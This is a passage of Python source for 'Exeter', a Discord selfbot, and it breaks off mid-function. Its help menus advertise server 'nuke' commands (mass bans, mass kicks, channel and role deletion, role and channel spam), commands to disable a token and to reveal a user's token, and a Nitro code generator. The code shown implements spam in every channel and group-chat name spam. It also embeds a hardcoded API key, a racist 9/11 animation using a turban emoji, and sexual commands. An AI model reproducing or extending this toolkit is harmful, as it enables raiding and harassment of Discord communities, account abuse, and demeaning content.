bans.append(discord.utils.escape_markdown(guild.name)) 785 | if guild.me.guild_permissions.kick_members and not guild.me.guild_permissions.administrator: 786 | kicks.append(discord.utils.escape_markdown(guild.name)) 787 | adminPermServers = f"**Servers with Admin ({len(admins)}):**\n{admins}" 788 | botPermServers = f"\n**Servers with BOT_ADD Permission ({len(bots)}):**\n{bots}" 789 | banPermServers = f"\n**Servers with Ban Permission ({len(bans)}):**\n{bans}" 790 | kickPermServers = f"\n**Servers with Kick Permission ({len(kicks)}:**\n{kicks}" 791 | await ctx.send(adminPermServers + botPermServers + banPermServers + kickPermServers) 792 | 793 | 794 | @Exeter.command() 795 | async def bots(ctx): 796 | await ctx.message.delete() 797 | bots = [] 798 | for member in ctx.guild.members: 799 | if member.bot: 800 | bots.append( 801 | str(member.name).replace("`", "\`").replace("*", "\*").replace("_", "\_") + "#" + member.discriminator) 802 | bottiez = f"**Bots ({len(bots)}):**\n{', '.join(bots)}" 803 | await ctx.send(bottiez) 804 | 805 | 806 | @Exeter.command() 807 | async def help(ctx, category=None): 808 | await ctx.message.delete() 809 | if category is None: 810 | embed = discord.Embed(color=0xFF633B, timestamp=ctx.message.created_at) 811 | embed.set_author(name="𝙀𝙓𝙀𝙏𝙀𝙍 𝙎𝙀𝙇𝙁𝘽𝙊𝙏 | 𝙋𝙍𝙀𝙁𝙄𝙓: " + str(Exeter.command_prefix), 812 | icon_url=Exeter.user.avatar_url) 813 | embed.set_thumbnail(url=Exeter.user.avatar_url) 814 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723253781873164298/image1.gif") 815 | embed.add_field(name="\uD83E\uDDCA `GENERAL`", value="Shows all general commands", inline=False) 816 | embed.add_field(name="\uD83E\uDDCA `ACCOUNT`", value="Shows all account commands", inline=False) 817 | embed.add_field(name="\uD83E\uDDCA `TEXT`", value="Shows all text commands", inline=False) 818 | embed.add_field(name="\uD83E\uDDCA `MUSIC`", value="Shows all music commands", inline=False) 819 | embed.add_field(name="\uD83E\uDDCA `IMAGE`", value="Shows all image manipulation commands", inline=False) 820 | embed.add_field(name="\uD83E\uDDCA `NSFW`", value="Shows all nsfw commands", inline=False) 821 | embed.add_field(name="\uD83E\uDDCA `MISC`", value="Shows all miscellaneous commands", inline=False) 822 | embed.add_field(name="\uD83E\uDDCA `ANTI-NUKE`", value="Shows all anti-nuke commands", inline=False) 823 | embed.add_field(name="\uD83E\uDDCA `NUKE`", value="Shows all nuke commands", inline=False) 824 | await ctx.send(embed=embed) 825 | elif str(category).lower() == "general": 826 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 827 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723272273888280576/image0.gif") 828 | embed.description = f"\uD83D\uDCB0 `GENERAL COMMANDS`\n`> help ` - returns all commands of that category\n`> uptime` - return how long the selfbot has been running\n`> prefix ` - changes the bot's prefix\n`> ping` - returns the bot's latency\n`> av ` - returns the user's pfp\n`> whois ` - returns user's account info\n`> tokeninfo ` - returns information about the token\n`> copyserver` - makes a copy of the server\n`> rainbowrole ` - makes the role a rainbow role (ratelimits)\n`> serverinfo` - gets information about the server\n`> serverpfp` - returns the server's icon\n`> banner` - returns the server's banner\n`> shutdown` - shutsdown the selfbot\n" 829 | await ctx.send(embed=embed) 830 | elif str(category).lower() == "account": 831 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 832 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723266223554691202/image0.gif") 833 | embed.description = f"\uD83D\uDCB0 `ACCOUNT COMMANDS`\n`> ghost` - makes your name and pfp invisible\n`> pfpsteal ` - steals the users pfp\n`> setpfp ` - sets the image-link as your pfp\n`> hypesquad ` - changes your current hypesquad\n`> spoofcon ` - spoofs your discord connection\n`> leavegroups` - leaves all groups that you're in\n`> cyclenick ` - cycles through your nickname by letter\n`> stopcyclenick` - stops cycling your nickname\n`> stream ` - sets your streaming status\n`> playing ` - sets your playing status\n`> listening ` - sets your listening status\n`> watching ` - sets your watching status\n`> stopactivity` - resets your status-activity\n`> acceptfriends` - accepts all friend requests\n`> delfriends` - removes all your friends\n`> ignorefriends` - ignores all friends requests\n`> clearblocked` - clears your block-list\n`> read` - marks all messages as read\n`> leavegc` - leaves the current groupchat\n`> adminservers` - lists all servers you have perms in\n`> slotbot ` - snipes slotbots ({Exeter.slotbot_sniper})\n`> giveaway ` - snipes giveaways ({Exeter.giveaway_sniper})\n`> mee6 ` - auto sends messages in the specified channel ({Exeter.mee6}) <#{Exeter.mee6_channel}>\n`> yuikiss ` - auto sends yui kisses every minute <@{Exeter.yui_kiss_user}> <#{Exeter.yui_kiss_channel}>\n`> yuihug ` - auto sends yui hugs every minute <@{Exeter.yui_hug_user}> <#{Exeter.yui_hug_channel}>\n`> yuistop` - stops any running yui loops" 834 | await ctx.send(embed=embed) 835 | elif str(category).lower() == "text": 836 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 837 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723278609648713818/image0.gif") 838 | embed.description = f"\uD83D\uDCB0 `TEXT COMMANDS`\n`> exeter` - sends the exeter logo\n`> snipe` - shows the last deleted message\n`> editsnipe` - shows the last edited message\n`> msgsniper ({Exeter.msgsniper})` - enables a message sniper for deleted messages in DMs\n`> clear` - sends a large message filled with invisible unicode\n`> del ` - sends a message and deletes it instantly\n`> 1337speak ` - talk like a hacker\n`> minesweeper` - play a game of minesweeper\n`> spam ` - spams a message\n`> dm ` - dms a user a message\n`> reverse ` - sends the message but in reverse-order\n`> shrug` - returns ¯\_(ツ)_/¯\n`> lenny` - returns ( ͡° ͜ʖ ͡°)\n`> fliptable` - returns (╯°□°)╯︵ ┻━┻\n`> unflip` - returns (╯°□°)╯︵ ┻━┻\n`> bold ` - bolds the message\n`> censor ` - censors the message\n`> underline ` - underlines the message\n`> italicize ` - italicizes the message\n`> strike ` - strikethroughs the message\n`> quote ` - quotes the message\n`> code ` - applies code formatting to the message\n`> purge ` - purges the amount of messages\n`> empty` - sends an empty message\n`> tts ` - returns an mp4 file of your content\n`> firstmsg` - shows the first message in the channel history\n`> ascii ` - creates an ASCII art of your message\n`> wizz` - makes a prank message about wizzing \n`> 8ball ` - returns an 8ball answer\n`> slots` - play the slot machine\n`> everyone` - pings everyone through a link\n`> abc` - cyles through the alphabet\n`> 100` - cycles -100\n`> cum` - makes you cum lol?\n`> 9/11` - sends a 9/11 attack\n`> massreact ` - mass reacts with the specified emoji" 839 | await ctx.send(embed=embed) 840 | elif str(category).lower() == "music": 841 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 842 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723270695185809468/image1.gif") 843 | embed.description = f"\uD83D\uDCB0 `MUSIC COMMANDS`\n`> play ` - plays the specified song if you're in a voice-channel\n`> stop` - stops the music player\n`> skip` - skips the current song playing\n`> lyrics ` - shows the specified song's lyrics\n`> youtube ` - returns the first youtube search result of the query" 844 | await ctx.send(embed=embed) 845 | elif str(category).lower() == "image": 846 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 847 | embed.set_image( 848 | url="https://cdn.discordapp.com/attachments/723250694118965300/739548124493643837/ezgif.com-video-to-gif.gif") 849 | embed.description = f"\uD83D\uDCB0 `IMAGE MANIPULATION COMMANDS`\n`> tweet ` makes a fake tweet\n`> magik ` - distorts the specified user\n`> fry ` - deep-fry the specified user\n`> blur ` - blurs the specified user\n`> pixelate ` - pixelates the specified user\n`> Supreme ` - makes a *Supreme* logo\n`> darksupreme ` - makes a *Dark Supreme* logo\n`> fax ` - makes a fax meme\n`> blurpify ` - blurpifies the specified user\n`> invert ` - inverts the specified user\n`> gay ` - makes the specified user gay\n`> communist ` - makes the specified user a communist\n`> snow ` - adds a snow filter to the specified user\n`> jpegify ` - jpegifies the specified user\n`> pornhub ` - makes a PornHub logo\n`> phcomment ` - makes a fake PornHub comment\n" 850 | await ctx.send(embed=embed) 851 | elif str(category).lower() == "nsfw": 852 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 853 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723268822789783612/image1.gif") 854 | embed.description = f"\uD83D\uDCB0 `NSFW COMMANDS`\n`> anal` - returns anal pics\n`> erofeet` - returns erofeet pics\n`> feet` - returns sexy feet pics\n`> hentai` - returns hentai pics\n`> boobs` - returns booby pics\n`> tits` - returns titty pics\n`> blowjob` - returns blowjob pics\n`> neko` - returns neko pics\n`> lesbian` - returns lesbian pics\n`> cumslut` - returns cumslut pics\n`> pussy` - returns pussy pics\n`> waifu` - returns waifu pics" 855 | await ctx.send(embed=embed) 856 | elif str(category).lower() == "misc": 857 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 858 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723265016979259544/image0.gif") 859 | embed.description = f"\uD83D\uDCB0 `MISCELLANEOUS COMMANDS`\n`> copycat ` - copies the users messages ({Exeter.copycat})\n`> stopcopycat` - stops copycatting\n`> fakename` - makes a fakename with other members's names\n`> geoip ` - looks up the ip's location\n`> pingweb ` pings a website to see if it's up\n`> anticatfish ` - reverse google searches the user's pfp\n`> stealemoji` - - steals the specified emoji\n`> hexcolor ` - returns the color of the hex-code\n`> dick ` - returns the user's dick size\n`> bitcoin` - shows the current bitcoin exchange rate\n`> hastebin ` - posts your message to hastebin\n`> rolecolor ` - returns the role's color\n`> nitro` - generates a random nitro code\n`> feed ` - feeds the user\n`> tickle ` - tickles the user\n`> slap ` - slaps the user\n`> hug ` - hugs the user\n`> cuddle ` - cuddles the user\n`> smug ` - smugs at the user\n`> pat ` - pat the user\n`> kiss ` - kiss the user\n`> topic` - sends a conversation starter\n`> wyr` - sends a would you rather\n`> gif ` - sends a gif based on the query\n`> sendall ` - sends a message in every channel\n`> poll ` - creates a poll\n`> bots` - shows all bots in the server\n`> image ` - returns an image\n`> hack ` - hacks the user\n`> token ` - returns the user's token\n`> cat` - returns random cat pic\n`> sadcat` - returns a random sad cat\n`> dog` - returns random dog pic\n`> fox` - returns random fox pic\n`> bird` - returns random bird pic\n" 860 | await ctx.send(embed=embed) 861 | elif str(category).lower() == "antinuke": 862 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 863 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723274816055935067/image0.gif") 864 | embed.description = f"\uD83D\uDCB0 `ANTI-NUKE COMMANDS`\n`> antiraid ` - toggles anti-nuke ({Exeter.antiraid})\n`> whitelist ` - whitelists the specified user\n**NOTE** Whitelisting a user will completely exclude them from anti-nuke detections, be weary on who you whitelist.\n`> whitelisted <-g>` - see who's whitleisted and in what guild\n`> unwhitelist ` - unwhitelists the user\n`> clearwhitelist` - clears the whitelist hash" 865 | await ctx.send(embed=embed) 866 | elif str(category).lower() == "nuke": 867 | embed = discord.Embed(color=random.randrange(0x1000000), timestamp=ctx.message.created_at) 868 | embed.set_image(url="https://cdn.discordapp.com/attachments/723250694118965300/723256768742031451/image0.gif") 869 | embed.description = f"\uD83D\uDCB0 `NUKE COMMANDS`\n`> tokenfuck ` - disables the token\n`> nuke` - nukes the server\n`> massban` - bans everyone in the server\n`> dynoban` - mass bans with dyno one message at a time\n`> masskick` - kicks everyone in the server\n`> spamroles` - spam makes 250 roles\n`> spamchannels` - spam makes 250 text channels\n`> delchannels` - deletes all channels in the server\n`> delroles` - deletes all roles in the server\n`> purgebans` - unbans everyone\n`> renamechannels ` - renames all channels\n`> servername ` - renames the server to the specified name\n`> nickall ` - sets all user's nicknames to the specified name\n`> changeregion ` - spam changes regions in groupchats\n`> kickgc` - kicks everyone in the gc\n`> spamgcname` - spam changes the groupchat name\n`> massmention ` - mass mentions random people" 870 | await ctx.send(embed=embed) 871 | 872 | 873 | # GENERAL 874 | 875 | # ACCOUNT 876 | 877 | # TEXT 878 | 879 | # MUSIC 880 | 881 | 882 | # NSFW 883 | 884 | # MISC 885 | 886 | # ANTINUKE 887 | 888 | # NUKE 889 | 890 | 891 | @Exeter.command() 892 | async def exeter(ctx): 893 | await ctx.message.delete() 894 | await ctx.send(""" 895 | ███████╗ ██╗ ██╗ ███████╗ ████████╗ ███████╗ ██████╗ 896 | ██╔════╝ ╚██╗██╔╝ ██╔════╝╚══██╔══╝ ██╔════╝ ██╔══██╗ 897 | █████╗ ╚███╔╝ █████╗ ██║ █████╗ ██████╔╝ 898 | ██╔══╝ ██╔██╗ ██╔══╝ ██║ ██╔══╝ ██╔══██╗ 899 | ███████╗ ██╔╝ ██╗ ███████╗ ██║ ███████╗ ██║ ██║ 900 | ╚══════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ 901 | """) 902 | 903 | 904 | @Exeter.command(aliases=["giphy", "tenor", "searchgif"]) 905 | async def gif(ctx, query=None): 906 | await ctx.message.delete() 907 | if query is None: 908 | r = requests.get("https://api.giphy.com/v1/gifs/random?api_key=ldQeNHnpL3WcCxJE1uO8HTk17ICn8i34&tag=&rating=R") 909 | res = r.json() 910 | await ctx.send(res['data']['url']) 911 | 912 | else: 913 | r = requests.get( 914 | f"https://api.giphy.com/v1/gifs/search?api_key=ldQeNHnpL3WcCxJE1uO8HTk17ICn8i34&q={query}&limit=1&offset=0&rating=R&lang=en") 915 | res = r.json() 916 | await ctx.send(res['data'][0]["url"]) 917 | 918 | 919 | @Exeter.command(aliases=["img", "searchimg", "searchimage", "imagesearch", "imgsearch"]) 920 | async def image(ctx, *, args): 921 | await ctx.message.delete() 922 | url = 'https://unsplash.com/search/photos/' + args.replace(" ", "%20") 923 | page = requests.get(url) 924 | soup = bs4(page.text, 'html.parser') 925 | image_tags = soup.findAll('img') 926 | if str(image_tags[2]['src']).find("https://trkn.us/pixel/imp/c="): 927 | link = image_tags[2]['src'] 928 | try: 929 | async with aiohttp.ClientSession() as session: 930 | async with session.get(link) as resp: 931 | image = await resp.read() 932 | with io.BytesIO(image) as file: 933 | await ctx.send(f"Search result for: **{args}**", file=discord.File(file, f"exeter_anal.png")) 934 | except: 935 | await ctx.send(f'' + link + f"\nSearch result for: **{args}** ") 936 | else: 937 | await ctx.send("Nothing found for **" + args + "**") 938 | 939 | 940 | @Exeter.command(aliases=["addemoji", "stealemote", "addemote"]) 941 | async def stealemoji(ctx): 942 | await ctx.message.delete() 943 | custom_regex = "<(?Pa?):(?P[a-zA-Z0-9_]{2,32}):(?P[0-9]{18,22})>" 944 | unicode_regex = "(?:\U0001f1e6[\U0001f1e8-\U0001f1ec\U0001f1ee\U0001f1f1\U0001f1f2\U0001f1f4\U0001f1f6-\U0001f1fa\U0001f1fc\U0001f1fd\U0001f1ff])|(?:\U0001f1e7[\U0001f1e6\U0001f1e7\U0001f1e9-\U0001f1ef\U0001f1f1-\U0001f1f4\U0001f1f6-\U0001f1f9\U0001f1fb\U0001f1fc\U0001f1fe\U0001f1ff])|(?:\U0001f1e8[\U0001f1e6\U0001f1e8\U0001f1e9\U0001f1eb-\U0001f1ee\U0001f1f0-\U0001f1f5\U0001f1f7\U0001f1fa-\U0001f1ff])|(?:\U0001f1e9[\U0001f1ea\U0001f1ec\U0001f1ef\U0001f1f0\U0001f1f2\U0001f1f4\U0001f1ff])|(?:\U0001f1ea[\U0001f1e6\U0001f1e8\U0001f1ea\U0001f1ec\U0001f1ed\U0001f1f7-\U0001f1fa])|(?:\U0001f1eb[\U0001f1ee-\U0001f1f0\U0001f1f2\U0001f1f4\U0001f1f7])|(?:\U0001f1ec[\U0001f1e6\U0001f1e7\U0001f1e9-\U0001f1ee\U0001f1f1-\U0001f1f3\U0001f1f5-\U0001f1fa\U0001f1fc\U0001f1fe])|(?:\U0001f1ed[\U0001f1f0\U0001f1f2\U0001f1f3\U0001f1f7\U0001f1f9\U0001f1fa])|(?:\U0001f1ee[\U0001f1e8-\U0001f1ea\U0001f1f1-\U0001f1f4\U0001f1f6-\U0001f1f9])|(?:\U0001f1ef[\U0001f1ea\U0001f1f2\U0001f1f4\U0001f1f5])|(?:\U0001f1f0[\U0001f1ea\U0001f1ec-\U0001f1ee\U0001f1f2\U0001f1f3\U0001f1f5\U0001f1f7\U0001f1fc\U0001f1fe\U0001f1ff])|(?:\U0001f1f1[\U0001f1e6-\U0001f1e8\U0001f1ee\U0001f1f0\U0001f1f7-\U0001f1fb\U0001f1fe])|(?:\U0001f1f2[\U0001f1e6\U0001f1e8-\U0001f1ed\U0001f1f0-\U0001f1ff])|(?:\U0001f1f3[\U0001f1e6\U0001f1e8\U0001f1ea-\U0001f1ec\U0001f1ee\U0001f1f1\U0001f1f4\U0001f1f5\U0001f1f7\U0001f1fa\U0001f1ff])|\U0001f1f4\U0001f1f2|(?:\U0001f1f4[\U0001f1f2])|(?:\U0001f1f5[\U0001f1e6\U0001f1ea-\U0001f1ed\U0001f1f0-\U0001f1f3\U0001f1f7-\U0001f1f9\U0001f1fc\U0001f1fe])|\U0001f1f6\U0001f1e6|(?:\U0001f1f6[\U0001f1e6])|(?:\U0001f1f7[\U0001f1ea\U0001f1f4\U0001f1f8\U0001f1fa\U0001f1fc])|(?:\U0001f1f8[\U0001f1e6-\U0001f1ea\U0001f1ec-\U0001f1f4\U0001f1f7-\U0001f1f9\U0001f1fb\U0001f1fd-\U0001f1ff])|(?:\U0001f1f9[\U0001f1e6\U0001f1e8\U0001f1e9\U0001f1eb-\U0001f1ed\U0001f1ef-\U0001f1f4\U0001f1f7\U0001f1f9\U0001f1fb\U0001f1fc\U0001f1ff])|(?:\U0001f1fa[\U0001f1e6\U0001f1ec\U0001f1f2\U0001f1f8\U0001f1fe\U0001f1ff])|(?:\U0001f1fb[\U0001f1e6\U0001f1e8\U0001f1ea\U0001f1ec\U0001f1ee\U0001f1f3\U0001f1fa])|(?:\U0001f1fc[\U0001f1eb\U0001f1f8])|\U0001f1fd\U0001f1f0|(?:\U0001f1fd[\U0001f1f0])|(?:\U0001f1fe[\U0001f1ea\U0001f1f9])|(?:\U0001f1ff[\U0001f1e6\U0001f1f2\U0001f1fc])|(?:\U0001f3f3\ufe0f\u200d\U0001f308)|(?:\U0001f441\u200d\U0001f5e8)|(?:[\U0001f468\U0001f469]\u200d\u2764\ufe0f\u200d(?:\U0001f48b\u200d)?[\U0001f468\U0001f469])|(?:(?:(?:\U0001f468\u200d[\U0001f468\U0001f469])|(?:\U0001f469\u200d\U0001f469))(?:(?:\u200d\U0001f467(?:\u200d[\U0001f467\U0001f466])?)|(?:\u200d\U0001f466\u200d\U0001f466)))|(?:(?:(?:\U0001f468\u200d\U0001f468)|(?:\U0001f469\u200d\U0001f469))\u200d\U0001f466)|[\u2194-\u2199]|[\u23e9-\u23f3]|[\u23f8-\u23fa]|[\u25fb-\u25fe]|[\u2600-\u2604]|[\u2638-\u263a]|[\u2648-\u2653]|[\u2692-\u2694]|[\u26f0-\u26f5]|[\u26f7-\u26fa]|[\u2708-\u270d]|[\u2753-\u2755]|[\u2795-\u2797]|[\u2b05-\u2b07]|[\U0001f191-\U0001f19a]|[\U0001f1e6-\U0001f1ff]|[\U0001f232-\U0001f23a]|[\U0001f300-\U0001f321]|[\U0001f324-\U0001f393]|[\U0001f399-\U0001f39b]|[\U0001f39e-\U0001f3f0]|[\U0001f3f3-\U0001f3f5]|[\U0001f3f7-\U0001f3fa]|[\U0001f400-\U0001f4fd]|[\U0001f4ff-\U0001f53d]|[\U0001f549-\U0001f54e]|[\U0001f550-\U0001f567]|[\U0001f573-\U0001f57a]|[\U0001f58a-\U0001f58d]|[\U0001f5c2-\U0001f5c4]|[\U0001f5d1-\U0001f5d3]|[\U0001f5dc-\U0001f5de]|[\U0001f5fa-\U0001f64f]|[\U0001f680-\U0001f6c5]|[\U0001f6cb-\U0001f6d2]|[\U0001f6e0-\U0001f6e5]|[\U0001f6f3-\U0001f6f6]|[\U0001f910-\U0001f91e]|[\U0001f920-\U0001f927]|[\U0001f933-\U0001f93a]|[\U0001f93c-\U0001f93e]|[\U0001f940-\U0001f945]|[\U0001f947-\U0001f94b]|[\U0001f950-\U0001f95e]|[\U0001f980-\U0001f991]|\u00a9|\u00ae|\u203c|\u2049|\u2122|\u2139|\u21a9|\u21aa|\u231a|\u231b|\u2328|\u23cf|\u24c2|\u25aa|\u25ab|\u25b6|\u25c0|\u260e|\u2611|\u2614|\u2615|\u2618|\u261d|\u2620|\u2622|\u2623|\u2626|\u262a|\u262e|\u262f|\u2660|\u2663|\u2665|\u2666|\u2668|\u267b|\u267f|\u2696|\u2697|\u2699|\u269b|\u269c|\u26a0|\u26a1|\u26aa|\u26ab|\u26b0|\u26b1|\u26bd|\u26be|\u26c4|\u26c5|\u26c8|\u26ce|\u26cf|\u26d1|\u26d3|\u26d4|\u26e9|\u26ea|\u26fd|\u2702|\u2705|\u270f|\u2712|\u2714|\u2716|\u271d|\u2721|\u2728|\u2733|\u2734|\u2744|\u2747|\u274c|\u274e|\u2757|\u2763|\u2764|\u27a1|\u27b0|\u27bf|\u2934|\u2935|\u2b1b|\u2b1c|\u2b50|\u2b55|\u3030|\u303d|\u3297|\u3299|\U0001f004|\U0001f0cf|\U0001f170|\U0001f171|\U0001f17e|\U0001f17f|\U0001f18e|\U0001f201|\U0001f202|\U0001f21a|\U0001f22f|\U0001f250|\U0001f251|\U0001f396|\U0001f397|\U0001f56f|\U0001f570|\U0001f587|\U0001f590|\U0001f595|\U0001f596|\U0001f5a4|\U0001f5a5|\U0001f5a8|\U0001f5b1|\U0001f5b2|\U0001f5bc|\U0001f5e1|\U0001f5e3|\U0001f5e8|\U0001f5ef|\U0001f5f3|\U0001f6e9|\U0001f6eb|\U0001f6ec|\U0001f6f0|\U0001f930|\U0001f9c0|[#|0-9]\u20e3" 945 | 946 | 947 | @Exeter.command(aliases=["stopcopycatuser", "stopcopyuser", "stopcopy"]) 948 | async def stopcopycat(ctx): 949 | await ctx.message.delete() 950 | if Exeter.user is None: 951 | await ctx.send("You weren't copying anyone to begin with") 952 | return 953 | await ctx.send("Stopped copying " + str(Exeter.copycat)) 954 | Exeter.copycat = None 955 | 956 | 957 | @Exeter.command(aliases=["copycatuser", "copyuser"]) 958 | async def copycat(ctx, user: discord.User): 959 | await ctx.message.delete() 960 | Exeter.copycat = user 961 | await ctx.send("Now copying " + str(Exeter.copycat)) 962 | 963 | 964 | @Exeter.command(aliases=["9/11", "911", "terrorist"]) 965 | async def nine_eleven(ctx): 966 | await ctx.message.delete() 967 | invis = "" # char(173) 968 | message = await ctx.send(f''' 969 | {invis}:man_wearing_turban::airplane: :office: 970 | ''') 971 | await asyncio.sleep(0.5) 972 | await message.edit(content=f''' 973 | {invis} :man_wearing_turban::airplane: :office: 974 | ''') 975 | await asyncio.sleep(0.5) 976 | await message.edit(content=f''' 977 | {invis} :man_wearing_turban::airplane: :office: 978 | ''') 979 | await asyncio.sleep(0.5) 980 | await message.edit(content=f''' 981 | {invis} :man_wearing_turban::airplane: :office: 982 | ''') 983 | await asyncio.sleep(0.5) 984 | await message.edit(content=f''' 985 | {invis} :man_wearing_turban::airplane::office: 986 | ''') 987 | await asyncio.sleep(0.5) 988 | await message.edit(content=''' 989 | :boom::boom::boom: 990 | ''') 991 | 992 | 993 | @Exeter.command(aliases=["jerkoff", "ejaculate", "orgasm"]) 994 | async def cum(ctx): 995 | await ctx.message.delete() 996 | message = await ctx.send(''' 997 | :ok_hand: :smile: 998 | :eggplant: :zzz: :necktie: :eggplant: 999 | :oil: :nose: 1000 | :zap: 8=:punch:=D 1001 | :trumpet: :eggplant:''') 1002 | await asyncio.sleep(0.5) 1003 | await message.edit(content=''' 1004 | :ok_hand: :smiley: 1005 | :eggplant: :zzz: :necktie: :eggplant: 1006 | :oil: :nose: 1007 | :zap: 8==:punch:D 1008 | :trumpet: :eggplant: 1009 | ''') 1010 | await asyncio.sleep(0.5) 1011 | await message.edit(content=''' 1012 | :ok_hand: :grimacing: 1013 | :eggplant: :zzz: :necktie: :eggplant: 1014 | :oil: :nose: 1015 | :zap: 8=:punch:=D 1016 | :trumpet: :eggplant: 1017 | ''') 1018 | await asyncio.sleep(0.5) 1019 | await message.edit(content=''' 1020 | :ok_hand: :persevere: 1021 | :eggplant: :zzz: :necktie: :eggplant: 1022 | :oil: :nose: 1023 | :zap: 8==:punch:D 1024 | :trumpet: :eggplant: 1025 | ''') 1026 | await asyncio.sleep(0.5) 1027 | await message.edit(content=''' 1028 | :ok_hand: :confounded: 1029 | :eggplant: :zzz: :necktie: :eggplant: 1030 | :oil: :nose: 1031 | :zap: 8=:punch:=D 1032 | :trumpet: :eggplant: 1033 | ''') 1034 | await asyncio.sleep(0.5) 1035 | await message.edit(content=''' 1036 | :ok_hand: :tired_face: 1037 | :eggplant: :zzz: :necktie: :eggplant: 1038 | :oil: :nose: 1039 | :zap: 8==:punch:D 1040 | :trumpet: :eggplant: 1041 | ''') 1042 | await asyncio.sleep(0.5) 1043 | await message.edit(contnet=''' 1044 | :ok_hand: :weary: 1045 | :eggplant: :zzz: :necktie: :eggplant: 1046 | :oil: :nose: 1047 | :zap: 8=:punch:= D:sweat_drops: 1048 | :trumpet: :eggplant: 1049 | ''') 1050 | await asyncio.sleep(0.5) 1051 | await message.edit(content=''' 1052 | :ok_hand: :dizzy_face: 1053 | :eggplant: :zzz: :necktie: :eggplant: 1054 | :oil: :nose: 1055 | :zap: 8==:punch:D :sweat_drops: 1056 | :trumpet: :eggplant: :sweat_drops: 1057 | ''') 1058 | await asyncio.sleep(0.5) 1059 | await message.edit(content=''' 1060 | :ok_hand: :drooling_face: 1061 | :eggplant: :zzz: :necktie: :eggplant: 1062 | :oil: :nose: 1063 | :zap: 8==:punch:D :sweat_drops: 1064 | :trumpet: :eggplant: :sweat_drops: 1065 | ''') 1066 | 1067 | 1068 | @Exeter.command() 1069 | async def clear(ctx): 1070 | await ctx.message.delete() 1071 | await ctx.send('ᅠᅠ' + '\n' * 400 + 'ᅠᅠ') 1072 | 1073 | 1074 | @Exeter.command() 1075 | async def sendall(ctx, *, message): 1076 | await ctx.message.delete() 1077 | try: 1078 | channels = ctx.guild.text_channels 1079 | for channel in channels: 1080 | await channel.send(message) 1081 | except: 1082 | pass 1083 | 1084 | 1085 | @Exeter.command(aliases=["spamchangegcname", "changegcname"]) 1086 | async def spamgcname(ctx): 1087 | await ctx.message.delete() 1088 | if isinstance(ctx.message.channel, discord.GroupChannel): 1089 | watermark = "Exeter LOL" 1090 | name = "" 1091 | for letter in watermark: 1092 | name = name + letter 1093 | await ctx.message.channel.edit(name=name) 1094 | 1095 | 1096 | @Exeter.command(aliases=["fakename"]) 1097 | async def genname(ctx): 1098 | await ctx.message.delete() 1099 | first, second = random.choices(ctx.guild.members, k=2) 1100 | first = first.display_name[len(first.display_name) // 2:] 1101 | second = second.display_name[:len(second.display_name) // 2] 1102 | await ctx.send(discord.utils.escape_mentions(second + first)) 1103 | 1104 | 1105 | @Exeter.command(aliases=['geolocate', 'iptogeo', 'iptolocation', 'ip2geo', 'ip']) 1106 | async def geoip(ctx, *, ipaddr: str = '1.3.3.7'): 1107 | await ctx.message.delete() 1108 | r = requests.get(f'http://extreme-ip-lookup.com/json/{ipaddr}') 1109 | geo = r.json() 1110 | em = discord.Embed() 1111 | fields = [ 1112 | {'name': 'IP', 'value': geo['query']}, 1113 | {'name': 'Type', 'value': geo['ipType']}, 1114 | {'name': 'Country', 'value': geo['country']}, 1115 | {'name': 'City', 'value': geo['city']}, 1116 | {'name': 'Continent', 'value': geo['continent']}, 1117 | {'name': 'Country', 'value': geo['country']}, 1118 | {'name': 'Hostname', 'value': geo['ipName']}, 1119 | {'name': 'ISP', 'value': geo['isp']}, 1120 | {'name': 'Latitute', 'value': geo['lat']}, 1121 | {'name': 'Longitude', 'value': geo['lon']}, 1122 | {'name': 'Org', 'value': geo['org']}, 1123 | {'name': 'Region', 'value': geo['region']}, 1124 | ] 1125 | for field in fields: 1126 | if field['value']: 1127 | em.add_field(name=field['name'], value=field['value'], inline=True) 1128 | return await ctx.send(embed=em) 1129 | 1130 | @Exeter.command() 1131 | async def pingweb(ctx, website=None): 1132 | await ctx.message.delete() 1133 | if website is None: 1134 | pass 1135 | else: 1136 | try: 1137 | r = requests.get(website).status_code 1138 | except Exception as e: 1139 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1140 | if r == 404: 1141 | await ctx.send(f'Website is down ({r})', delete_after=3) 1142 | else: 1143 | await ctx.send(f'Website is operational ({r})', delete_after=3) 1144 | 1145 | 1146 | @Exeter.command() 1147 | async def tweet(ctx, username: str = None, *, message: str = None): 1148 | await ctx.message.delete() 1149 | if username is None or message is None: 1150 | await ctx.send("missing parameters") 1151 | return 1152 | async with aiohttp.ClientSession() as cs: 1153 | async with cs.get(f"https://nekobot.xyz/api/imagegen?type=tweet&username={username}&text={message}") as r: 1154 | res = await r.json() 1155 | try: 1156 | async with aiohttp.ClientSession() as session: 1157 | async with session.get(str(res['message'])) as resp: 1158 | image = await resp.read() 1159 | with io.BytesIO(image) as file: 1160 | await ctx.send(file=discord.File(file, f"exeter_tweet.png")) 1161 | except: 1162 | await ctx.send(res['message']) 1163 | 1164 | 1165 | @Exeter.command(aliases=["distort"]) 1166 | async def magik(ctx, user: discord.Member = None): 1167 | await ctx.message.delete() 1168 | endpoint = "https://nekobot.xyz/api/imagegen?type=magik&intensity=3&image=" 1169 | if user is None: 1170 | avatar = str(ctx.author.avatar_url_as(format="png")) 1171 | endpoint += avatar 1172 | r = requests.get(endpoint) 1173 | res = r.json() 1174 | try: 1175 | async with 